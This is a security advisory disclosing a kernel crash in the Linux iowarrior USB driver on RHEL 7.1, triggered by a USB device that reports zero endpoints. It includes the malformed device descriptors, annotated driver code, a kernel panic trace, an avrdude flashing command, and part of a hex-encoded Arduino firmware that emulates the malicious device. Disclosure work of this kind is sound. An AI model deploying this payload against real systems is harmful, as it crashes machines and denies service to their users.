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体验盒子OS-S Security Advisory 2016-15
Linux iowarrior Nullpointer Dereference
Date: March 4th, 2016
Authors: Sergej Schumilo, Hendrik Schwartke, Ralf Spenneberg
CVE: not yet assigned
CVSS: 4.9 (AV:L/AC:L/Au:N/C:N/I:N/A:C)
Title: Local RedHat Enterprise Linux DoS â?? RHEL 7.1 Kernel crashes on invalid
USB device descriptors (iowarrior driver)
Severity: Critical. The Kernel panics. A reboot is required.
Ease of Exploitation: Trivial
Vulnerability type: Wrong input validation
Products: RHEL 7.1 including all updates
Kernel-Version: 3.10.0-229.20.1.el7.x86_64 (for debugging-purposes we used the
CentOS Kernel kernel-debuginfo-3.10.0-229.14.1.el7)
Vendor: Red Hat
Vendor contacted: November, 12th 2015
PDF of advisory: https://os-s.net//advisories/OSS-2016-15_iowarrior.pdf
Abstract:
The Kernel 3.10.0-229.20.1.el7.x86_64 crashes on presentation of a buggy USB
device requiring the iowarrior driver.
Detailed product description:
We confirmed the bug on the following system:
RHEL 7.1
Kernel 3.10.0-229.20.1.el7.x86_64
Further products or kernel versions have not been tested.
How reproducible: Always
Actual results: Kernel crashes.
Description:
The bug was found using the USB-fuzzing framework vUSBf from Sergej Schumilo
(github.com/schumilo) using the following device descriptor:
[*] Device-Descriptor
bLength: 0x12
bDescriptorType: 0x1
bcdUSB: 0x200
bDeviceClass: 0x3
bDeviceSubClass: 0x0
bDeviceProtocol: 0x0
bMaxPacketSize: 0x40
idVendor: 0x7c0
idProduct: 0x1500
bcdDevice: 0x100
iManufacturer: 0x1
iProduct: 0x2
iSerialNumbers: 0x3
bNumConfigurations: 0x1
This is the configuration descriptor containing the malicious value for
bNumEndpoints causing the crash. A zero value for bNumEndpoints crashes the
system.
[*] Configuration-Descriptor
bLength: 0x9
bDescriptorType: 0x2
wTotalLength: 0x27
bNumInterfaces: 0x1
bConfigurationValue: 0x1
iConfiguration: 0x0
bmAttributes: 0x0
bMaxPower: 0x31
[*] Interface-Descriptor
bLength: 0x9
bDescriptorType: 0x4
bInterfaceNumber: 0x0
bAlternateSetting: 0x0
bNumEndpoints: 0x0
bInterfaceClass: 0x0
bInterfaceSubClass: 0x0
bInterfaceProtocol: 0x0
[*] Endpoint-Descriptor:
bLength: 0x7
bDescriptorType: 0x5
bEndpointAddress: 0x81
bmAttribut: 0x3
wMaxPacketSize: 0x404
bInterval: 0xc
[*] Endpoint-Descriptor:
bLength: 0x7
bDescriptorType: 0x5
bEndpointAddress: 0x1
bmAttribut: 0x2
wMaxPacketSize: 0x4
bInterval: 0xc
[*] Endpoint-Descriptor:
bLength: 0x7
bDescriptorType: 0x5
bEndpointAddress: 0x82
bmAttribut: 0x1
wMaxPacketSize: 0x4
bInterval: 0xc
The iowarrior driver assumes that there will be at least one IN-endpoint-
descriptor.
If the interface-descriptor contains a zero-value for bNumEndpoints or no IN-
endpoint-descriptor is provided, the driver tries to dereference a null-
pointer and the kernel crashes:
****
$ nm iowarrior.ko.debug | grep iowarrior_probe
00000000000012a0 t iowarrior_probe
$ addr2line -e iowarrior.ko.debug 0x13D4
/usr/src/debug/kernel-3.10.0-229.14.1.el7/linux-3.10.0-229.14.1.el7.x86_
64/include/uapi/linux/usb/ch9.h:605
****
**** CentOS-Kernel linux-3.10.0-229.14.1.el7 (includes/uapi/linux/usb/ch9.c)
...
603 static inline int usb_endpoint_maxp(const struct usb_endpoint_descriptor
*epd) /* used by iowarrior_probe */
604 {
605 return __le16_to_cpu(epd->wMaxPacketSize); /* Possible Nullpointer
Dereference */
606 }
...
****
**** CentOS-Kernel linux-3.10.0-229.14.1.el7 (drivers/usb/misc/iowarrior.c)
...
790 /* set up the endpoint information */
791 for (i = 0; i < iface_desc->desc.bNumEndpoints; ++i) {
792 endpoint = &iface_desc->endpoint[i].desc;
793
794 if (usb_endpoint_is_int_in(endpoint))
795 dev->int_in_endpoint = endpoint; /* Nullpointer if never set */
796 if (usb_endpoint_is_int_out(endpoint))
797 /* this one will match for the IOWarrior56 only */
798 dev->int_out_endpoint = endpoint;
799 }
800 /* we have to check the report_size often, so remember it in the
endianness suitable for our machine */
801 dev->report_size = usb_endpoint_maxp(dev->int_in_endpoint); /* Nullpointer
if never set */
802 if ((dev->interface->cur_altsetting->desc.bInterfaceNumber == 0) &&
803 (dev->product_id == USB_DEVICE_ID_CODEMERCS_IOW56))
804 /* IOWarrior56 has wMaxPacketSize different from report size */
805 dev->report_size = 7;
...
****
Proof of Concept:
For a proof of concept, we are providing an Arduino Leonardo firmware file. This
firmware will emulate the defective USB device.
avrdude -v -p ATMEGA32u4 -c avr109 -P /dev/ttyACM0 -b 57600 -U
flash:w:binary.hex
The firmware has been attached to this bug report.
To prevent the automated delivery of the payload, a jumper may be used to
connect port D3 and 3V3!
Severity and Ease of Exploitation:
The vulnerability can be easily exploited. Using our Arduino Leonardo firmware,
only physical access to the system is required.
Vendor Communication:
We contacted Red Hat on the November, 12th 2015.
To this day, no security patch was provided by the vendor.
Since our 90-day Responsible Discourse deadline is expired, we publish this
Security Advisory.
References:
https://bugzilla.redhat.com/show_bug.cgi?id=1283390
Kernel Stacktrace:
[ 34.458988] usb 1-1: new full-speed USB device number 2 using xhci_hcd
[ 34.662073] usb 1-1: config 1 interface 0 altsetting 0 has 3 endpoint
descriptors, different from the interface descriptor's value: 0
[ 34.694667] usb 1-1: New USB device found, idVendor=07c0, idProduct=1500
[ 34.701412] usb 1-1: New USB device strings: Mfr=1, Product=2,
SerialNumber=3
[ 34.709475] usb 1-1: Product: Ä?
[ 34.713214] usb 1-1: Manufacturer: Ä?
[ 34.717062] usb 1-1: SerialNumber: %
[ 34.779320] BUG: unable to handle kernel NULL pointer dereference at
0000000000000004
[ 34.780026] IP: [<ffffffffa03943d4>] iowarrior_probe+0x134/0x4a0 [iowarrior]
[ 34.780026] PGD 0
[ 34.780026] Oops: 0000 [#1] SMP
[ 34.780026] Modules linked in: iowarrior(+) ip6t_rpfilter ip6t_REJECT
ipt_REJECT xt_conntrack ebtable_nat ebtable_broute bridge stp llc
ebtable_filter ebtables ip6table_nat nf_conntrack_ipv6 nf_defrag_ipv6
nf_nat_ipv6 ip6table_mangle ip6table_security ip6table_raw ip6table_filter
ip6_tables iptable_nat nf_conntrack_ipv4 nf_defrag_ipv4 nf_nat_ipv4 nf_nat
nf_conntrack iptable_mangle iptable_security iptable_raw iptable_filter
ip_tables bochs_drm ppdev syscopyarea sysfillrect sysimgblt ttm drm_kms_helper
drm pcspkr i2c_piix4 i2c_core serio_raw parport_pc parport xfs libcrc32c
sd_mod sr_mod crc_t10dif cdrom crct10dif_common ata_generic pata_acpi ata_piix
libata e1000 floppy dm_mirror dm_region_hash dm_log dm_mod
[ 34.780026] CPU: 0 PID: 2220 Comm: systemd-udevd Not tainted
3.10.0-229.14.1.el7.x86_64 #1
[ 34.780026] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS
rel-1.8.2-0-g33fbe13 by qemu-project.org 04/01/2014
[ 34.780026] task: ffff88000bcfa220 ti: ffff88000bd20000 task.ti: ffff88000bd20000
[ 34.780026] RIP: 0010:[<ffffffffa03943d4>] [<ffffffffa03943d4>]
iowarrior_probe+0x134/0x4a0 [iowarrior]
[ 34.780026] RSP: 0018:ffff88000bd23b98 EFLAGS: 00010246
[ 34.780026] RAX: 0000000000000000 RBX: ffff88000bd36600 RCX: 0000000000000000
[ 34.780026] RDX: 0000000000000000 RSI: 0000000000001500 RDI: ffff88000bd36688
[ 34.780026] RBP: ffff88000bd23be0 R08: 0000000000016460 R09: ffff88000e401700
[ 34.780026] R10: ffffffffa03942d3 R11: ffffffff810020d8 R12: ffff88000c525800
[ 34.780026] R13: ffff88000bcd0090 R14: ffff88000bcd0000 R15: ffff88000f508bc8
[ 34.780026] FS: 00007fb8082b4880(0000) GS:ffff88000fc00000(0000)
knlGS:0000000000000000
[ 34.780026] CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b
[ 34.780026] CR2: 0000000000000004 CR3: 000000000c448000 CR4:
00000000000006f0
[ 34.780026] DR0: 0000000000000000 DR1: 0000000000000000 DR2:
0000000000000000
[ 34.780026] DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400
[ 34.780026] Stack:
[ 34.780026] ffff88000c525830 ffff88000bd23be0 ffffffff813dfba2 ffff88000af01800
[ 34.780026] ffff88000bcd0090 ffff88000bcd0000 ffffffffa03960c8 ffff88000c525830
[ 34.780026] ffffffffa0395500 ffff88000bd23c28 ffffffff8141dc04 000000000bd23c00
[ 34.780026] Call Trace:
[ 34.780026] [<ffffffff813dfba2>] ? __pm_runtime_set_status+0x132/0x210
[ 34.780026] [<ffffffff8141dc04>] usb_probe_interface+0x1c4/0x2f0
[ 34.780026] [<ffffffff813d30d7>] driver_probe_device+0x87/0x390
[ 34.780026] [<ffffffff813d34b3>] __driver_attach+0x93/0xa0
[ 34.780026] [<ffffffff813d3420>] ? __device_attach+0x40/0x40
[ 34.780026] [<ffffffff813d0e43>] bus_for_each_dev+0x73/0xc0
[ 34.780026] [<ffffffff813d2b2e>] driver_attach+0x1e/0x20
[ 34.780026] [<ffffffff813d2680>] bus_add_driver+0x200/0x2d0
[ 34.780026] [<ffffffff813d3b34>] driver_register+0x64/0xf0
[ 34.780026] [<ffffffff8141c1c2>] usb_register_driver+0x82/0x160
[ 34.780026] [<ffffffffa0399000>] ? 0xffffffffa0398fff
[ 34.780026] [<ffffffffa039901e>] iowarrior_driver_init+0x1e/0x1000 [iowarrior]
[ 34.780026] [<ffffffff810020e8>] do_one_initcall+0xb8/0x230
[ 34.780026] [<ffffffff810dd0ee>] load_module+0x133e/0x1b40
[ 34.780026] [<ffffffff812f7d60>] ? ddebug_proc_write+0xf0/0xf0
[ 34.780026] [<ffffffff810d96b3>] ? copy_module_from_fd.isra.42+0x53/0x150
[ 34.780026] [<ffffffff810ddaa6>] SyS_finit_module+0xa6/0xd0
[ 34.780026] [<ffffffff81614389>] system_call_fastpath+0x16/0x1b
[ 34.780026] Code: 0c c8 0f b6 41 03 83 e0 03 3c 03 75 da 80 79 02 00 0f 88
10 02 00 00 48 89 4b 40 41 0f b6 47 04 83 c2 01 39 d0 7f cc 48 8b 43 48 <0f>
b7 40 04 89 83 c8 00 00 00 49 8b 44 24 08 80 78 02 00 0f 84
[ 34.780026] RIP [<ffffffffa03943d4>] iowarrior_probe+0x134/0x4a0 [iowarrior]
[ 34.780026] RSP <ffff88000bd23b98>
[ 34.780026] CR2: 0000000000000004
[ 35.199537] ---[ end trace b239663354a1c556 ]---
[ 35.205081] Kernel panic - not syncing: Fatal exception
[ 35.206054] drm_kms_helper: panic occurred, switching back to text console
Arduino Leonardo Firmware:
:100000000C94A8000C94C5000C94C5000C94C50079
:100010000C94C5000C94C5000C94C5000C94C5004C
:100020000C94C5000C94C5000C94C2050C942D04CE
:100030000C94C5000C94C5000C94C5000C94C5002C
:100040000C94C5000C94C5000C94C5000C94C5001C
:100050000C94C5000C94C5000C94C5000C940C02C3
:100060000C94C5000C94C5000C94C5000C94C500FC
:100070000C94C5000C94C5000C94C5000C94C500EC
:100080000C94C5000C94C5000C94C5000C94C500DC
:100090000C94C5000C94C5000C94C5000C94C500CC
:1000A0000C94C5000C94C5000C94C50009030C0306
:1000B000FF0203032D032D032D0310031403180364
:1000C0001E0322032D0328030000000200080E0077
:1000D00000030401000B000000000000000000000D
:1000E00000000000000004080201104080401020C1
:1000F00040804080080204018040201002011080EE
:100100001020404004040404040304050202020217
:1001100004030202020206060606060604040202A0
:100120000204000000002300260029002C002F00FC
:1001300000000000250028002B002E0031000000E8
:100140000000240027002A002D00300000C180811B
:1001500011241FBECFEFDAE0DEBFCDBF15E0A0E077
:10016000B1E0E0EDF3E102C005900D92A436B107D5
:10017000D9F725E0A4E6B5E001C01D92AF37B2077C
:10018000E1F70E94C8000C9402070C940000089547
:10019000CF93DF93CDB7DEB7CD59D1090FB6F89421
:1001A000DEBF0FBECDBF0E949F020E94C70060E06D
:1001B00083E00E942E0361E087E00E942E0361E04D
:1001C00088E00E942E030E9457067E012AE9E20E73
:1001D000F11C84E093E0D70111969C938E9389E003
:1001E00094E013969C938E93129782E2E2E1F1E001
:1001F0009E012F5F3F4F6901D90101900D928A95B1
:10020000E1F788E1E4E3F1E0DE01939601900D92DD
:100210008A95E1F782E1ECE4F1E0DE01DB96019002
:100220000D928A95E1F789E0EEE5F1E0DE01A05953
:10023000BF4F01900D928A95E1F72A593F4F99E0FF
:10024000992ED901E92D1D92EA95E9F78E010957FA
:100250001F4F87E0E7E6F1E0D80101900D928A9503
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:1002700001900D928A95E1F7AE0147585F4F87E0F4
:10028000E5E7F1E0DA0101900D928A95E1F75E0170
:10029000FEE8AF0EB11C86E0ECE7F1E0D50101907D
:1002A0000D928A95E1F7CE01835B9F4FEEE0DC0172
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:10053000DF91CF91FF90EF90DF90CF900895789466
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:100A0000EC0DFD1D818590E0081719075CF51F931B
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:100A20007605EE0DFF1D0284F385E02DEC0DFD1D16
:100A3000C801880F991FA485B585A80FB91F4D91CE
:100A40005C910284F385E02DE80FF91F60817181CC
:100A500080E00E94DE030F5F1F4F0F900F900F90FA
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体验盒子
